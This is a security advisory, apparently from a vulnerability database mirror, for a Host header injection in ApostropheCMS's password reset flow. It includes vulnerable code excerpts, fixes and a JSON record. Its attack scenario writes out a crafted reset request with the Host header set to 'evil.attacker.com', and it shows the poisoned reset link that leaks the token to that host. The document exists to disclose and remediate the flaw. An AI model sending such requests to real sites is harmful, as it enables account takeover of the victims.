GHSA-GF43-24G3-5HW2

Vulnerability from github – Published: 2026-05-14 18:27 – Updated: 2026-06-12 22:02
VLAI
Summary
Apostrophe has a Weak Password Recovery Mechanism for Forgotten Password and Improper Input Validation
Details

Summary

ApostropheCMS's password reset flow constructs the reset URL using req.hostname, which is derived directly from the attacker-controlled HTTP Host header when apos.baseUrl is not explicitly configured. An unauthenticated attacker who knows a victim's email address can send a crafted reset request that causes the application to email the victim a reset link pointing to the attacker's domain. When the victim clicks the link, the valid reset token is delivered to the attacker, enabling full account takeover.

Affected Component

modules/@apostrophecms/login/index.jsresetRequest route
Precondition: passwordReset: true is set and apos.baseUrl is not configured.

Vulnerability Details

The setPrefixUrls middleware (i18n layer) builds req.baseUrl using req.hostname:

// Simplified from i18n middleware
req.baseUrl = `${req.protocol}://${req.hostname}`;
req.absoluteUrl = req.baseUrl + req.url;

The resetRequest handler then passes this tainted value directly into URL construction:

const parsed = new URL(
  req.absoluteUrl,           // ← tainted by attacker's Host header
  self.apos.baseUrl
    ? undefined
    : `${req.protocol}://${req.hostname}${port}`  // ← also tainted
);
parsed.pathname = '/login';
parsed.searchParams.append('reset', reset);   // real, valid token
parsed.searchParams.append('email', user.email);
await self.email(..., { url: parsed.toString() }, ...);
// Email sent to victim with URL pointing to attacker-controlled domain

When apos.baseUrl is configured, it is used unconditionally and the attacker's Host header is ignored — that path is not vulnerable.

Attack Scenario

  1. Attacker identifies a valid user email (e.g. from the site's public interface).
  2. Attacker sends:
   POST /api/v1/login/reset-request
   Host: evil.attacker.com
   Content-Type: application/json

   {"email": "victim@example.com"}
  1. The application emails the victim:
   Click here to reset your password:
   http://evil.attacker.com/login?reset=TOKEN&email=victim@example.com
  1. Victim clicks the link; attacker's server captures TOKEN.
  2. Attacker calls the real target's reset endpoint with the captured token and sets a new password — full account takeover.

Preconditions

  • passwordReset: true configured in login module options (opt-in)
  • apos.baseUrl is not set (common in development and some production deployments)
  • Attacker knows or can enumerate a valid account email

Impact

Full account takeover of any account whose email address is known to the attacker. No authentication or interaction beyond sending a single HTTP request is required from the attacker. The victim need only click a link in a legitimate-looking password reset email from their own site.

Remediation

Operators (immediate): Always set apos.baseUrl in your configuration:

// app.js or module configuration
modules: {
  '@apostrophecms/express': {
    options: {
      baseUrl: 'https://yourdomain.com'
    }
  }
}

Framework fix (recommended): The resetRequest route should refuse to proceed if apos.baseUrl is not configured, rather than falling back to the tainted req.hostname. Example:

// In resetRequest handler
if (!self.apos.baseUrl) {
  throw self.apos.error(
    'invalid',
    'apos.baseUrl must be configured to enable password reset'
  );
}
const parsed = new URL(self.loginUrl(), self.apos.baseUrl);

This eliminates the attacker-controlled input entirely from the URL construction path.

References

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45013"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-640"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T18:27:12Z",
    "nvd_published_at": "2026-06-12T21:16:22Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nApostropheCMS\u0027s password reset flow constructs the reset URL using `req.hostname`, \nwhich is derived directly from the attacker-controlled HTTP `Host` header when \n`apos.baseUrl` is not explicitly configured. An unauthenticated attacker who knows \na victim\u0027s email address can send a crafted reset request that causes the application \nto email the victim a reset link pointing to the attacker\u0027s domain. When the victim \nclicks the link, the valid reset token is delivered to the attacker, enabling full \naccount takeover.\n\n## Affected Component\n\n`modules/@apostrophecms/login/index.js` \u2014 `resetRequest` route  \nPrecondition: `passwordReset: true` is set **and** `apos.baseUrl` is not configured.\n\n## Vulnerability Details\n\nThe `setPrefixUrls` middleware (i18n layer) builds `req.baseUrl` using `req.hostname`:\n\n```js\n// Simplified from i18n middleware\nreq.baseUrl = `${req.protocol}://${req.hostname}`;\nreq.absoluteUrl = req.baseUrl + req.url;\n```\n\nThe `resetRequest` handler then passes this tainted value directly into URL construction:\n\n```js\nconst parsed = new URL(\n  req.absoluteUrl,           // \u2190 tainted by attacker\u0027s Host header\n  self.apos.baseUrl\n    ? undefined\n    : `${req.protocol}://${req.hostname}${port}`  // \u2190 also tainted\n);\nparsed.pathname = \u0027/login\u0027;\nparsed.searchParams.append(\u0027reset\u0027, reset);   // real, valid token\nparsed.searchParams.append(\u0027email\u0027, user.email);\nawait self.email(..., { url: parsed.toString() }, ...);\n// Email sent to victim with URL pointing to attacker-controlled domain\n```\n\nWhen `apos.baseUrl` is configured, it is used unconditionally and the attacker\u0027s \n`Host` header is ignored \u2014 that path is **not** vulnerable.\n\n## Attack Scenario\n\n1. Attacker identifies a valid user email (e.g. from the site\u0027s public interface).\n2. Attacker sends:\n```\n   POST /api/v1/login/reset-request\n   Host: evil.attacker.com\n   Content-Type: application/json\n\n   {\"email\": \"victim@example.com\"}\n```\n3. The application emails the victim:\n```\n   Click here to reset your password:\n   http://evil.attacker.com/login?reset=TOKEN\u0026email=victim@example.com\n```\n4. Victim clicks the link; attacker\u0027s server captures `TOKEN`.\n5. Attacker calls the real target\u0027s reset endpoint with the captured token and \n   sets a new password \u2014 full account takeover.\n\n## Preconditions\n\n- `passwordReset: true` configured in login module options (opt-in)\n- `apos.baseUrl` is **not** set (common in development and some production deployments)\n- Attacker knows or can enumerate a valid account email\n\n## Impact\n\nFull account takeover of any account whose email address is known to the attacker. \nNo authentication or interaction beyond sending a single HTTP request is required \nfrom the attacker. The victim need only click a link in a legitimate-looking \npassword reset email from their own site.\n\n## Remediation\n\n**Operators (immediate):** Always set `apos.baseUrl` in your configuration:\n\n```js\n// app.js or module configuration\nmodules: {\n  \u0027@apostrophecms/express\u0027: {\n    options: {\n      baseUrl: \u0027https://yourdomain.com\u0027\n    }\n  }\n}\n```\n\n**Framework fix (recommended):** The `resetRequest` route should refuse to proceed \nif `apos.baseUrl` is not configured, rather than falling back to the tainted \n`req.hostname`. Example:\n\n```js\n// In resetRequest handler\nif (!self.apos.baseUrl) {\n  throw self.apos.error(\n    \u0027invalid\u0027,\n    \u0027apos.baseUrl must be configured to enable password reset\u0027\n  );\n}\nconst parsed = new URL(self.loginUrl(), self.apos.baseUrl);\n```\n\nThis eliminates the attacker-controlled input entirely from the URL construction path.\n\n## References\n\n- [OWASP: Host Header Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection)\n- [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)",
  "id": "GHSA-gf43-24g3-5hw2",
  "modified": "2026-06-12T22:02:13Z",
  "published": "2026-05-14T18:27:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-gf43-24g3-5hw2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45013"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apostrophe has a Weak Password Recovery Mechanism for Forgotten Password and Improper Input Validation"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…